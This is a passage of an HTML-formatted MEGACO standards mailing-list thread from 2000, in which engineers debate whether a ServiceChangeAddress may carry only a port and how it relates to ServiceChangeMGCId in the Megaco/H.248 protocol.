    Subject: Re: Supplying only a port on a ServiceChangeAddress</FONT>
    <BR><FONT size=2>&gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
    &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; I think we agree that MId is
    just an identifier of a peer </FONT><BR><FONT size=2>&gt; in a
    control</FONT> <BR><FONT size=2>&gt; &gt; &gt; session.&nbsp; I still ask
    myself why we defined it to be an</FONT> <BR><FONT size=2>&gt; &gt; &gt;
    address rather than</FONT> <BR><FONT size=2>&gt; &gt; &gt; an arbitrary
    string.&nbsp; I suspect we changed intentions since</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; it first showed</FONT> <BR><FONT size=2>&gt; &gt; &gt;
    up.</FONT> <BR><FONT size=2>&gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
    &gt; &gt; -----Original Message-----</FONT> <BR><FONT size=2>&gt; &gt; &gt;
    &gt; From: Flemming Andreasen [<A
    href="mailto:fandreas@CISCO.COM">mailto:fandreas@CISCO.COM</A>]</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; Sent: Tuesday, September 05, 2000 3:12
    PM</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; To:
    MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt; &gt; &gt;
    &gt; Subject: Re: Supplying only a port on a ServiceChangeAddress</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
    &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; Bharat Kaul wrote:</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
    &gt; &gt; Hi Flemming, Brian and List,</FONT> <BR><FONT size=2>&gt; &gt;
    &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;&nbsp;&nbsp;
    ServiceChangeMGCId should be kept for contacting a new</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt; MGC or rather</FONT> <BR><FONT size=2>&gt; &gt;
    &gt; &gt; &gt; establishing new control Session.</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
    &gt; ServiceChangeAddress is for redirection within a MGC e.g.</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; MG contacts MGC at</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt; &gt; a default port and based on some policy MGC
    wants to assign</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; MG to a
    specific</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; port, it should
    send ServiceChangeAddress specifying the</FONT> <BR><FONT size=2>&gt; &gt;
    &gt; &gt; port.These two</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
    semantics seem clear and fair enough.</FONT> <BR><FONT size=2>&gt; &gt; &gt;
    &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; I quite frankly don't
    understand the need for having port as</FONT> <BR><FONT size=2>&gt; &gt;
    &gt; &gt; an identifier and</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; then
    being able to specify another port to override it, while</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt; keeping the</FONT> <BR><FONT size=2>&gt; &gt;
    &gt; &gt; identifier port the same.</FONT> <BR><FONT size=2>&gt; &gt; &gt;
    &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
    &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; Port in MID should be
    just a tool to identify an entity</FONT> <BR><FONT size=2>&gt; &gt; &gt;
    &gt; uniquely, with one</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
    requirement that MID for a control session is consistent</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; between two</FONT> <BR><FONT size=2>&gt; &gt; &gt;
    &gt; &gt; entities.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; In that case it should be called
    something different than a</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; port,
    or at least be</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; treated as
    something different.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; -- Flemming</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
    &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
    &gt; - Bharat</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; -----Original Message-----</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; From: Flemming Andreasen [<A
    href="mailto:fandreas@CISCO.COM">mailto:fandreas@CISCO.COM</A>]</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; Sent: Tuesday, September 05, 2000
    8:29 AM</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; To:
    MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt; &gt; &gt;
    &gt; &gt; Subject: Re: Supplying only a port on a
    ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; Let's take a step back here and
    ask ourselves what we are</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; trying
    to achieve:</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; 1. We have a need to identify the
    entity we wish to</FONT> <BR><FONT size=2>&gt; &gt; &gt; communicate
    with</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; 2. We have a need to
    communicate with that entity.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
    &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; This is a classical
    naming issue that doesn't need to</FONT> <BR><FONT size=2>&gt; &gt; &gt;
    become overly</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; complicated.
    In order to get from the name in 1 to the</FONT> <BR><FONT size=2>&gt; &gt;
    &gt; &gt; address (or route) in</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
    &gt; 2, you need to perform name resolution in the cases where</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; the name itself is</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt; &gt; not an address. For domain names, this name
    resolution is</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; achieved by
    DNS,</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; for IP-addresses, it
    should normally be a NOP. By having both</FONT> <BR><FONT size=2>&gt; &gt;
    &gt; &gt; &gt; ServiceChangeMGGId and ServiceChangeAddress, you are</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; effectively providing</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt; &gt; an alternate name resolution mechanism which
    overrides DNS</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; and allows
    one</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; IP-address to map to
    another. We should not be doing that,</FONT> <BR><FONT size=2>&gt; &gt; &gt;
    &gt; and I also note</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; that
    this was probably not the authors' intent, since</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt; ServiceChangeAddress</FONT> <BR><FONT size=2>&gt;
    &gt; &gt; &gt; &gt; and ServiceChangeMGCId are not both allowed in a
    </FONT><BR><FONT size=2>&gt; single command.</FONT> <BR><FONT size=2>&gt;
    &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; That
    still leaves open the question of exactly what</FONT> <BR><FONT size=2>&gt;
    &gt; &gt; &gt; ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt; &gt;
    &gt; &gt; then is, and I believe Brian answered that earlier with his</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; two proposals.</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt; &gt; In a perfect world, I would prefer getting
    rid of</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; ServiceChangeAddress,
    but</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; we may be beyond that.
    Does it make sense to allow just a</FONT> <BR><FONT size=2>&gt; &gt; &gt;
    &gt; port number then ?</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
    Considering that we already allow for port in mId, port is</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt; part of the name</FONT> <BR><FONT size=2>&gt;
    &gt; &gt; &gt; &gt; and for the same reasons as we shouldn't map one
    IP-address</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; to another, we</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; shouldn't map one port to another
    either IMO. If the MGC</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; (or MG)
    wants the</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; other party to
    talk to it on another port, it simply sends</FONT> <BR><FONT size=2>&gt;
    &gt; &gt; &gt; back another</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
    ServiceChangeMGCId with that port number in it.</FONT> <BR><FONT size=2>&gt;
    &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; --
    Flemming</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt; &gt; "Rosen, Brian" wrote:</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
    &gt; &gt; It depends on what you want to have happen.</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
    &gt; &gt; &gt; If you want the MG, on receipt of a reply with a</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; ServiceChangeAddress,</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt; &gt; &gt; to tear down it's current transport
    connection, create</FONT> <BR><FONT size=2>&gt; &gt; &gt; a new one,</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; and stand by for messages
    from the MGC, then I suppose</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; you
    would be</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
    correct.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; If it was TCP (and I guess
    SCTP), this is pretty weird,</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
    because the</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; MG
    established a full duplex connection, but the </FONT><BR><FONT size=2>&gt;
    next message is</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; almost
    certainly from the MGC.&nbsp; The MGC is going to have</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt; to watch for</FONT> <BR><FONT size=2>&gt; &gt;
    &gt; &gt; &gt; &gt; this carefully, and not send messages until the
    new</FONT> <BR><FONT size=2>&gt; &gt; &gt; channel is up.</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
    &gt; &gt; &gt; Or, the MGC can just use ServiceChangeMid.&nbsp; The MG
    will</FONT> <BR><FONT size=2>&gt; &gt; &gt; respond by</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt; &gt; &gt; tearing down the transport,
    establishing a new one, </FONT><BR><FONT size=2>&gt; and sending</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; a new ServiceChange.&nbsp;
    The MGC "fires and forgets" -- the new</FONT> <BR><FONT size=2>&gt; &gt;
    &gt; &gt; &gt; &gt; ServiceChange, at the "new" address, looks like a</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; complete new start.</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
    &gt; &gt; &gt; Brian</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
    &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; -----Original
    Message-----</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; From:
    Christian Groves</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; To:
    MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt; &gt; &gt;
    &gt; &gt; &gt; Sent: 9/3/00 7:38 PM</FONT> <BR><FONT size=2>&gt; &gt; &gt;
    &gt; &gt; &gt; Subject: Re: Supplying only a port on a
    ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
    &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; G'Day Brian and
    Flemming,</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; I saw that the difference
    between when you use</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
    ServiceChangeAddress and</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
    &gt; ServiceChangeMid was that the ServiceChangeAddress was</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt; used when talking</FONT> <BR><FONT size=2>&gt;
    &gt; &gt; &gt; &gt; &gt; to an already contacted physical MGC. The</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; ServiceChangeMid was used to</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; contact a physically seperate
    MGC. So I don't see </FONT><BR><FONT size=2>&gt; the need of</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; disallowing anything but the
    port in IP as the MGC may</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; have a
    range of</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
    addresses.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; Cheers, Christian</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt;
    &gt; &gt; &gt; &gt; &gt; "Rosen, Brian" wrote:</FONT> <BR><FONT size=2>&gt;
    &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
    &gt; &gt; &gt; I thought you might say that, I've been thinking about
    it</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; since I sent
    the message.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
    &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; Posing the
    question slightly differently, if the</FONT> <BR><FONT size=2>&gt; &gt; &gt;
    &gt; ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
    &gt; &gt; can do what ServiceChangeMid can do, so why have two</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; mechanisms?</FONT> <BR><FONT size=2>&gt;
    &gt; &gt; &gt; &gt; &gt; &gt; The only difference would be the MGs
    actions.&nbsp; If you used</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
    &gt; &gt; ServiceChangeAddress,</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
    &gt; &gt; &gt; the MG would not send a new ServiceChange command to</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; the new address.</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; If you used ServiceChangeMid, it
    would.&nbsp; The end result</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
    would be the</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
    same.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; We can:</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt; &gt; &gt;
    &gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Explicitly disallow
    ServiceChangeAddress from</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; being
    used to</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
    &gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
    change anything but IP Port when </FONT><BR><FONT size=2>&gt; used with
    IP</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
    &gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Get rid of one of the
    two of them</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
    &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; I favor the
    former, as that is easiest, is most</FONT> <BR><FONT size=2>&gt; &gt; &gt;
    consistent with</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
    history, and makes the most sense to me.&nbsp; I'll </FONT><BR><FONT
    size=2>&gt; note that what</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
    &gt; &gt; we call ServiceChangeAddress used to be "port".&nbsp; It
    got</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; changed when
    we realized "port" wouldn't make </FONT><BR><FONT size=2>&gt; sense if it
    was</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; not an IP
    transport.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; Brian</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
    &gt; &gt; &gt; &gt; &gt; &gt; -----Original Message-----</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; From: Flemming Andreasen [<A
    href="mailto:fandreas@cisco.com">mailto:fandreas@cisco.com</A>]</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Sent: Tuesday,
    August 29, 2000 7:37 PM</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
    &gt; &gt; &gt; To: Rosen, Brian</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
    &gt; &gt; &gt; &gt; Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Subject: Re: Supplying only a
    port on a </FONT><BR><FONT size=2>&gt; ServiceChangeAddress</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt;
    &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
    &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
    &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
    &gt; "Rosen, Brian" wrote:</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
    &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
    &gt; &gt; I think the issue is that you can have the same MGC</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; have multiple</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; IP addresses.&nbsp; You
    accept the association, but</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
    change the address.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
    &gt; &gt; &gt; Say, a pool of servers appearing to be one MGC.</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; I'm not sure I fully
    understand what an </FONT><BR><FONT size=2>&gt; association is then.</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; What's the</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
    difference/relationship between the association</FONT> <BR><FONT size=2>&gt;
    &gt; &gt; &gt; address and the</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
    &gt; &gt; &gt; &gt; ServiceChangeMgcId (which may itself contain an
    </FONT><BR><FONT size=2>&gt; address or</FONT> <BR><FONT size=2>&gt; &gt;
    &gt; &gt; &gt; &gt; indirectly</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
    &gt; &gt; &gt; &gt; refer to a number of addresses through DNS) ?</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; -- Flemming</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt;
    &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
    &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
    &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
    &gt; &gt; &gt; &gt; Brian</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
    &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
    &gt; &gt; &gt; &gt; -----Original Message-----</FONT> <BR><FONT size=2>&gt;
    &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; From: Flemming Andreasen [<A
    href="mailto:fandreas@cisco.com">mailto:fandreas@cisco.com</A>]</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Sent:
    Tuesday, August 29, 2000 6:38 PM</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
    &gt; &gt; &gt; &gt; &gt; &gt; To: Rosen, Brian</FONT> <BR><FONT size=2>&gt;
    &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Cc:
    MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt; &gt; &gt;
    &gt; &gt; &gt; &gt; &gt; &gt; &gt; Subject: Re: Supplying only a port on
    a</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; ServiceChangeAddress</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; "Rosen,
    Brian" wrote:</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
    &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
    &gt; &gt; &gt; &gt; Suppose all you want to specify in a</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt; ServiceChangeAddress</FONT> <BR><FONT size=2>&gt;
    &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; is a port number</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; that
    is, the IP address doesn't change, but the</FONT> <BR><FONT size=2>&gt; &gt;
    &gt; &gt; port does.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
    &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
    &gt; &gt; &gt; &gt; &gt; &gt; The ABNF sez:</FONT> <BR><FONT size=2>&gt;
    &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; serviceChangeAddress
    =</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; ServiceChangeAddressToken
    EQUAL VALUE</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
    &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
    &gt; &gt; &gt; &gt; This is because it could be IP, ATM, FR, MPLS....</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
    &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
    &gt; &gt; The example shows just a port number.</FONT> <BR><FONT size=2>&gt;
    &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt;
    &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Actually, I thought that's all
    that would be</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; allowed in
    the</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
    &gt; case of IP. If</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
    &gt; &gt; &gt; &gt; not, how can it be within the "context of the</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; association</FONT> <BR><FONT size=2>&gt;
    &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; currently being</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
    negotiated", and how would it then relate to</FONT> <BR><FONT size=2>&gt;
    &gt; &gt; &gt; ServiceChangeMgcId</FONT> <BR><FONT size=2>&gt; &gt; &gt;
    &gt; &gt; &gt; ?</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
    &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
    &gt; &gt; &gt; -- Flemming</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
    &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
    &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
    &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
    &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Should that be legal?&nbsp; Should
    you have to</FONT> <BR><FONT size=2>&gt; &gt; &gt; specify the IP</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; address</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; as
    x.x.x.x:p?</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
    &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
    &gt; &gt; &gt; &gt; Brian</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
    &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
    &gt; &gt; &gt; &gt; &gt; --</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
    &gt; &gt; &gt; &gt; &gt; Flemming Andreasen</FONT> <BR><FONT size=2>&gt;
    &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Cisco Systems</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
